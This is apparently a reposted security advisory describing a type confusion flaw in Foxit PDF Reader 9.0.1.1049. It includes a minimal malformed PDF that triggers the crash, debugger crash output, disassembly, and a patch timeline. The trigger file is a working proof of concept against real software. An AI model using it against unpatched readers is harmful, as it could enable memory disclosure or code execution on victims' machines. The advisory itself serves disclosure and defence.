VULHUB ™

### Summary An exploitable type confusion vulnerability exists in the way Foxit PDF Reader version 9.0.1.1049 parses files with associated file annotations. A specially crafted PDF document can lead to an object of invalid type to be dereferenced, which can potentially lead to sensitive memory disclosure, and possibly to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability. ### Tested Versions Foxit PDF Reader 9.0.1.1049 ### Product URLs https://www.foxitsoftware.com/products/pdf-reader/ ### CVSSv3 Score 6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N ### CWE CWE-843 - Access of Resource Using Incompatible Type ### Details Foxit PDF Reader is one of the most popular PDF document readers and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. While initially parsing a...

### Summary An exploitable type confusion vulnerability exists in the way Foxit PDF Reader version 9.0.1.1049 parses files with associated file annotations. A specially crafted PDF document can lead to an object of invalid type to be dereferenced, which can potentially lead to sensitive memory disclosure, and possibly to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability. ### Tested Versions Foxit PDF Reader 9.0.1.1049 ### Product URLs https://www.foxitsoftware.com/products/pdf-reader/ ### CVSSv3 Score 6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N ### CWE CWE-843 - Access of Resource Using Incompatible Type ### Details Foxit PDF Reader is one of the most popular PDF document readers and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. While initially parsing a specially crafted PDF file with a malformed associated file PDF object, the use of a memory object of an incompatible type can be triggered, which initially leads to out-of-bounds memory access. A shortened version of PDF file that triggers this bug is as follows: ``` 1 0 obj << /Pages 2 0 R /Type /Catalog /AF [ 3 0 R ] >> endobj 2 0 obj << /Count 1 /Type /Pages >> endobj 3 0 obj /F << >> endobj ``` In the above PDF, the AF dictionary in Catalog refers to object 3 0 which is expected to be of type FileSpec. A stray /F string makes the object malformed leading to the following crash while parsing: ``` (570.17c4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=8b53c2fd ebx=13462fe8 ecx=033b772c edx=00000000 esi=13462ffc edi=0000000e eip=01ffc94e esp=0018aa9c ebp=0018aaa0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 FoxitReader!CertFreeCertificateChain+0xab056e: 01ffc94e f77608 div eax,dword ptr [esi+8] ds:0023:13463004=???????? 0:000> k # ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 00 0018aaa0 01ffc991 FoxitReader!CertFreeCertificateChain+0xab056e 01 0018aab0 01e035e1 FoxitReader!CertFreeCertificateChain+0xab05b1 02 0018aac0 01ded5c7 FoxitReader!CertFreeCertificateChain+0x8b7201 03 0018ab04 56756fa9 FoxitReader!CertFreeCertificateChain+0x8a11e7 04 0018b358 00f1e470 PlgDynLoader!PlugInMain+0x5ef9 05 0018b370 010696b8 FoxitReader+0xce470 06 0018d750 01038083 FoxitReader+0x2196b8 07 0018fb24 01043697 FoxitReader+0x1e8083 08 0018fb50 0102b074 FoxitReader+0x1f3697 09 0018fbac 0102fa5c FoxitReader+0x1db074 0a 0019f7e8 02a4e5af FoxitReader+0x1dfa5c 0b 0019f7fc 028e89ca FoxitReader!CertFreeCertificateChain+0x15021cf 0c 0019f88c 75dcef8c FoxitReader!CertFreeCertificateChain+0x139c5ea 0d 0019f898 7721367a kernel32!BaseThreadInitThunk+0xe 0e 0019f8d8 7721364d ntdll!__RtlUserThreadStart+0x70 0f 0019f8f0 00000000 ntdll!_RtlUserThreadStart+0x1b The process crashes due to an out-of-bounds access of esi+8. Examining the memory pointed to by esi reveals the following: 0:000> !heap -p -a esi address 13462ffc found in _DPH_HEAP_ROOT @ 73c1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 133c098c: 13462fe8 18 - 13462000 2000 63398e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77276206 ntdll!RtlDebugAllocateHeap+0x00000030 7723a127 ntdll!RtlpAllocateHeap+0x000000c4 77205950 ntdll!RtlAllocateHeap+0x0000023a 028eee12 FoxitReader!CertFreeCertificateChain+0x013a2a32 01ff3ca5 FoxitReader!CertFreeCertificateChain+0x00aa78c5 01ff3ad1 FoxitReader!CertFreeCertificateChain+0x00aa76f1 01ff3f11 FoxitReader!CertFreeCertificateChain+0x00aa7b31 0169e2fc FoxitReader!CertFreeCertificateChain+0x00151f1c 01df7fac FoxitReader!CertFreeCertificateChain+0x008abbcc 01df9e14 FoxitReader!CertFreeCertificateChain+0x008ada34 01dfd288 FoxitReader!CertFreeCertificateChain+0x008b0ea8 01e04fe3 FoxitReader!CertFreeCertificateChain+0x008b8c03 01e05299 FoxitReader!CertFreeCertificateChain+0x008b8eb9 01e054bb FoxitReader!CertFreeCertificateChain+0x008b90db 01e057f8 FoxitReader!CertFreeCertificateChain+0x008b9418 01ded546 FoxitReader!CertFreeCertificateChain+0x008a1166 01ded5a8 FoxitReader!CertFreeCertificateChain+0x008a11c8 56756fa9 PlgDynLoader!PlugInMain+0x00005ef9 00f1e470 FoxitReader+0x000ce470 010696b8 FoxitReader+0x002196b8 01038083 FoxitReader+0x001e8083 01043697 FoxitReader+0x001f3697 0102b074 FoxitReader+0x001db074 0102fa5c FoxitReader+0x001dfa5c 02a4e5af FoxitReader!CertFreeCertificateChain+0x015021cf 028e89ca FoxitReader!CertFreeCertificateChain+0x0139c5ea 75dcef8c kernel32!BaseThreadInitThunk+0x0000000e 7721367a ntdll!__RtlUserThreadStart+0x00000070 7721364d ntdll!_RtlUserThreadStart+0x0000001b ``` We can see that an access violation happens because esi+8 points four bytes after the end of a buffer of size 0x18. If we examine the function where the crash occurs, we can see the following: ``` .text:015AC93E sub_15AC93E proc near .text:015AC93E .text:015AC93E arg_0= dword ptr 8 .text:015AC93E arg_4= dword ptr 0Ch .text:015AC93E .text:015AC93E push ebp .text:015AC93F mov ebp, esp .text:015AC941 push esi .text:015AC942 push [ebp+arg_0] .text:015AC945 mov esi, ecx [1] .text:015AC947 call sub_15AC0F8 .text:015AC94C xor edx, edx .text:015AC94E div dword ptr [esi+8] [2] .text:015AC951 mov eax, [ebp+arg_4] .text:015AC954 mov [eax], edx .text:015AC956 mov esi, [esi+4] ``` Since this function is of type thiscall, at [1] we see a pointer to this being saved into esi. So, at the time of the crash at [2], esi is used as this. Since the allocated object is smaller, the out-of-bounds access leads to a crash if PageHeap is enabled. Without PageHeap, and if the adjacent memory is carefully manipulated, the invalid read will succeed, leading to further memory corruption. With careful memory layout manipulation and object placement, it could be possible to abuse this to leak arbitrary memory content or write to arbitrary memory. ### Timeline * 2018-02-12 - Vendor Disclosure * 2018-04-01 - Vendor pushed release to mid April * 2018-04-19 - Vendor patch released * 2018-04-19 - Public disclosure